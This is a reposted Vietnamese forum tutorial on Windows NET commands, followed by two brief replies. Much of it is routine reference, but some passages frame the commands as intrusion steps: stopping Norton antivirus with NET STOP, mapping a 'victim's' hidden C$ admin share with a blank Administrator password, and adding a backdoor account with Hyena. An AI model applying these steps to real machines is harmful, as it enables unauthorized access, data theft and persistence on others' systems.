(Em quên mất là lấy ở diễn đàn nào, hìnhcoi nhưdiễn đàn mình hay sao ý, em post lên để tất cả người ai chưa đọc thì được đọc thui, tác giả bài này đừng tố cáo nhé)



Chào tất cả người, hôm nay mình sẽ giới thiệu cho các anh em đang quan tâm đến các câu lệnh CMD phục vụ cho chuyện bảo mật (an ninh) nên muốn cùng sẻ chia. Anh em nào có thêm các lệnh khác thì cùng bổ sung cho bộ sưu tầm thêm hoành tráng nhé.Rất mong được các bạn lũy ý.



NET là lệnh nội trú của Windows 2003, XP nên anh em không nên phải đi tìm nó ở đâu hết, cứ gõ là chạy. Chức năng của lệnh này được phân ra theo một số nhóm sau:



1. Managing Services: Quản lý dịch vụ


NET - START, STOP, PAUSE, CONTINUE



2. Managing File Shares and Printer Shares: Kiểm sóat, chia xẻ tài nguyên


NET - SHARE, VIEW, USE, FILE, SESSIONS



3. Managing Network Print jobs and Network Time: Kiểm sóat tác vụ in ấn và thời (gian) gian vào mạng


NET - TIME, PRINT



4. Managing Security: Kiểm sóat bảo mật (an ninh) hệ thống


NET - ACCOUNTS, USER, GROUP, LOCALGROUP



5. Network Messaging: Giao dịch nhắn tin trong mạng


NET - NAME, SEND



6. Managing Network configuration: Quản lý cấu hình của mạng


NET - COMPUTER, CONFIG_WORKSTATION, CONFIG_SERVER, STATISTICS_WORKSTATION, STATISTICS_SERVER



Bây giờ tui xin đi vắn tắt một số lệnh của NET theo từng nhóm.



1. Managing service:



Cú pháp của lệnh như sau:



NET START [service]


NET STOP [service]


NET PAUSE [service]


NET CONTINUE [service]



Trong đó [service] chính là từ khóa hiển thị trong phần service của Control Panel



Bốn lệnh START, STOP, PAUSE và CONTINUE tương ứng với KHỞI ĐỘNG, DỪNG, TẠM NGỪNG, TIẾP TỤC cái service mà



anh em sẽ chỉ định cho nó thực thi. Để biết tên của các service đang chạy, anh em gõ vào dòng lệnh:



NET START



Lệnh này liệt kê tên đầy đủ của các service đang chạy. Muốn dừng chúng thì phải gõ NET STOP [service] với tên service viết gọn tương tự như trong Control Panel. Ví dụ anh em đang dùng Norton Antivirus, rủi có chép một trình nào đó như Brutus chẳng hạn thì nó cứ nhảy ra và la lên là cái file đó có trojan bên trong. Thế là nó không cho anh em chép vào máy của mình. Bây giờ gõ lệnh sau:



NET STOP navapsvc



Màn hình sẽ hiện ra



The Norton AntiVirus Auto Protect Service service is stopping.


The Norton AntiVirus Auto Protect Service service was stopped successfully.



Bây giờ anh em ngó xuống cái icon của NAV phía dưới System Tray thì thấy nó bị gạch chéo (disabled) rồi. Đó là do mình tắt bằng NET STOP.



2. Managing File Shares and Printer Shares: Kiểm sóat, chia xẻ tài nguyên


Lệnh NET này đi kèm một số tham số sau: SHARE, VIEW, USE, FILE, SESSIONS



SHARE - hiển thị những chia xẻ trên máy, ví dụ



Share name Resource Remark



-----------------------------------------------------------


IPC$ Remote IPC


D$ D:\ Default share


F$ F:\ Default share


ADMIN$ E:\WINDOWS Remote Admin


C$ C:\ Default share


E$ E:\ Default share


The command completed successfully.



Các share có dấu $ là chia xẻ tài nguyên ở mức hệ thống cho admin, thường gọi là share ẩn.



VIEW - hiển thị tất cả các máy trong cùng domain hay workgroup



Server Name Remark



-----------------------------------------



\\CPQ25981604619 DTLong


\\DEFAULT-EBGQAMU


\\FERRARI Formula 1


\\JITH


\\JOE-VT6094JJ9


\\KACE


\\KENGCOM KengCOM


\\LOTUS


The command completed successfully.



Bây giờ ta bàn cách chiến đấu một số máy để tìm tài nguyên. Lệnh Net View cho phép xem tài nguyên chia xẻ của các máy cùng subnet. Cú pháp câu lệnh như sau:



NET VIEW [tên máy]



Ví dụ: NET VIEW \\KACE



Nếu máy này có chia xẻ tài nguyên, màn hình sẽ hiện ra tên của các share directory, lúc này ta chỉ chuyện phát lệnh sử dụng tài nguyên đó mà thôi.



Để chiếm dụng tài nguyên chia xẻ, anh em có thể dùng My Network Places / Network Neighborhood để truy nhập vào, ở đây ta dùng lệnh NET USE thay cho chuyện dùng My Network Places



NET USE * \\tên máy\tên share


hoặc


NET USE xxx.xxx.xxx.xxx



Trong đó tên máy là tên hiện ra qua lệnh NET VIEW. Trường hợp sử dụng IP của máy trong NET USE, anh em phải gõ IP vào.



Để biết IP của máy nạn nhân, có thể lace w:st="on">PINGlace> vào tên của máy. Ví dụ



PING LOTUS


Pinging lotus [202.129.41.106] with 32 bytes of data:



Reply from 202.129.41.106: bytes=32 time<1ms TTL=128


Reply from 202.129.41.106: bytes=32 time<1ms TTL=128


Reply from 202.129.41.106: bytes=32 time<1ms TTL=128


Reply from 202.129.41.106: bytes=32 time<1ms TTL=128



Ping statistics for 202.129.41.106:


Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),


Approximate round trip times in milli-seconds:


Minimum = 0ms, Maximum = 0ms, Average = 0ms



Như vậy, máy LOTUS có địa chỉ IP là 202.129.41.106



Trong lệnh NET USE, dấu * có nghĩa là lấy tên một ổ đĩa bất kỳ (từ A-Z) rồi ánh xạ share đó vào ổ đĩa tùy chọn ấy. Nếu trên LOTUS có share một thư mục là SharedDocs thì lúc này lệnh NET USE dùng như sau:



NET USE * \\LOTUS\SharedDocs



hoặc



NET USE * \\202.129.41.106\SharedDocs



Sau khi thành công, SharedDocs biến thành ổ đĩa Z (chẳng hạn) trên máy của anh em.



Có thể chiếm dụng sâu hơn vào trong tài nguyên ẩn của máy. Lệnh gõ như sau:



NET USE * \\202.129.41.106\C$



Nếu lệnh này thành công, ổ C của máy nạn nhân sẽ "bay" về máy anh em như một ổ đĩa của mình vậy. Dùng như trên máy mình và cũng có thể xóa lung tung như nó là của mình vậy. Tương tự, phỏng đoán máy nạn nhân có thể có vài ổ đĩa như D, E, F, anh em có thể thử lệnh trên với D$, E$, F$, G$ tới khi nào nó báo lỗi thì tức là ổ đĩa đó không có trên máy của nạn nhân.



Thường thì các share ẩn này share cho account admin nên khi mình gõ lệnh đó nó sẽ hỏi Username và Password. Nếu đoán được Username (ví dụ: LOTUS) thì gõ vào rồi cũng đóan luôn mật (an ninh) khẩu nhé (hơi khó đấy), bằng không thì anh em nhập Administrator vào cho Username, còn để password là rỗng (sau khi nhập Username thì gõ ENTER tiếp cho phần mật (an ninh) khẩu). Nếu may mắn tiếp thì có thể thóat qua được. Trường hợp này là do admin máy đó sơ sẩy không đổi password mặc định của Windows sau khi cài hệ điều hành. Và như vậy anh em có thể ung dung chiếm tài nguyên của nạn nhân rồi. Anh em sẽ đi du lịch trong máy nạn nhân, chép bất cứ cái gì anh em KẾT như là đang trên máy mình vậy. Tuy nhiên thời cơ thành công là rất thấp. Vì thế, lệnh NET USE này thường chỉ phát huy tác dụng cao với các máy có share tài nguyên cho tất cả người (ví dụ như SharedDocs).



Lưu ý, có một mẹo nhỏ. Nếu anh em chiếm được quyền admin với account Administrator và password rỗng rồi thì anh em có thể dùng con Hyena tạo ra một account cho mình trên máy nạn nhân, đề phòng trong tương lai chúng cài service pack thì NET USE hết đường làm ăn. Lúc đó có con account kia rồi dễ bề tung hoành hơn.



Mấy lệnh trên là những lệnh chính thường dùng. Các lệnh còn lại xin anh em tham khảo thêm trên mạng nhé. Chúng đơn giản nói ra sợ anh em mất thời (gian) gian đọc.



Đoạn cuối của phần này xin được giới thiệu cùng anh em các câu lệnh về máy in và kiểm sóat thời (gian) gian.



3. Managing Network Print jobs and Network Time:


TIME, PRINT



Lệnh NET TIME cho biết thời (gian) gian của đồng hồ trên máy mạng. Câu lệnh là:



NET TIME \\tên máy



Ví dụ: NET TIME \\LOTUS



Lệnh này có nhiều biến thể khác, anh em chịu khó tham khảo. tui giới thiệu thêm về lệnh đồng bộ hóa đồng hồ máy mình với máy chủ trên mạng, cú pháp như sau:



NET TIME \\servername /SET /YES



Trong đó servername là tên của máy chủ



Lệnh NET PRINT có cú pháp như sau: NET PRINT \\ComputerName\ShareName



Hiển thị tác vụ hiện thời (gian) trên máy in, tương tự như chuyện xem xét thông qua Printer Manager xem có những tài liệu nào đang được máy in đó in ra.



ComputerName là tên máy chủ có share máy in


ShareName là tên share của máy in đó.



Để tạm ngưng (PAUSE) một lệnh in, có thể dùng lệnh sau



NET PRINT [\\ComputerName] job# /HOLD



ComputerName là tên máy có share printer còn job# tương đương số thứ tự của tài liệu in trên danh sách các tài liệu đang được in (1,2,3,4...)



Để tiếp tục in sau khi lệnh HOLD được thi hành, gõ vào lệnh



NET PRINT [\\ComputerName] job# /RELEASE



Để xóa, delete một lệnh in, ví dụ trong trường hợp in nhầm một văn bản lớn, anh em có thể gõ lệnh



NET PRINT [\\ComputerName] job# /DELETE



Anh em thấy hay thì thanks nha



(Em quên mất là lấy ở diễn đàn nào, hìnhcoi nhưdiễn đàn mình hay sao ý, em post lên để tất cả người ai chưa đọc thì được đọc thui, tác giả bài này đừng tố cáo nhé)
 

Arlen

New Member
aries.1102 Xưa nhưng ít người biết bạn à Hầu như ai quan tâm thì cũng biết!
 

Aldrik

New Member
TheBlackHacker Her her, post bài này được 1 năm hum nay lại có người đào mộ lên zui quá Team đào mộ bên voz sang đây đấy, lại còn bảo cái này xưa rồi chứ
 

Các chủ đề có liên quan khác

Top